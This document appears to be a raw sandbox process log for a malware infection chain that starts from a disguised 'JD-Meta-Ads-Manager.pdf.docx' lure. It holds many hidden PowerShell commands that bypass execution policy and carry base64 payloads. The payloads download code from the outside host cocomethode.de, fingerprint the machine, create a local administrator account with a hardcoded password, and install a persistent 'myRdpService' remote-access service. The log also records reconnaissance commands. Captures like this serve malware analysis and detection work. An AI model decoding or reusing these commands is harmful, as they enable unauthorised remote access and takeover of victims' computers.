Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESE1E8.tmp" "c:\Users\user\AppData\Local\Temp\5v0ewpyz\CSC3197E2CC644CF2871AE1653AC92A50.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpAC
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA1AGEAMAA0ADcAMQBlADcAOQA2ADcANgBmADYAOQA2ADAAZgAyADYAOABhAGQAZgA0ADMAMQA2ADQAYwBiADgAZgBjADgANABkAGMAZQA4ADAAMAA3AGEAMgA0AGEAOABjADkAYgBjAGYANgBhAGMAZgAwADUAYwAyAGYANAAzAGYAMQBlAGUANQAxADgAMQBmAGMANwAyAGUANQBlADgAYQAzAGEAZgA1AGQAZQA4ADQAYQAyAGUAZgBkAGYANAA2ADUANQA2AGMAZQA0AGIAMQA4AGYAOQBhADkAMAA1ADgAZgAwADIAYgBhAGUAZQBiAGIAYQA0ADcAOQA1ADcAZgBmADkAYQAwADAAZgBkADMAYwBiAGQAZgA1AGEAZgBkAGIANAA1ADUANABlAGYAOQA1AGQAMQA1ADYAYgBkAGUAMQA1ADMAYQA0ADEAMgA4ADMAMwAzAGUAMQAxADgAZQBhADQANwBkADEAZQA3ADYANQBiAGQAMAA0ADIAYQBkADQAZgBlADAAYwBlADcANAAyAGIAMQAxADQAZABmADIAMgAyADUAZABlADUAMgA1ADkAZAAzADkAMgAzADAAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\AppData\Local\Temp\JD-Meta-Ads-Manager.pdf.docx" /o ""
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\sppsvc.exe C:\Windows\system32\sppsvc.exe
Source: unknown	Process created: C:\Windows\Temp\svczHost.exe C:\Windows\Temp\svczHost.exe cakoi10 cocomethode.de
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c del /q "C:\Windows \System32\*" & rmdir "C:\Windows \System32" & rmdir "C:\Windows \"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc stop "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop "myRdpService"
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc query myRdpService
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query myRdpService
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\cmd.exe "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "myRdpService"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net start "myRdpService"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 start "myRdpService"
Source: unknown	Process created: C:\Windows\Temp\myRdpService.exe C:\Windows\Temp\myRdpService.exe cakoi10
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\regedit.exe "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService"
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command "systeminfo \| Select-String \"OS Name\",\"OS Version\";"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Windows\Temp\myRdpService.exe	Process created: C:\Windows\System32\cmd.exe /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAE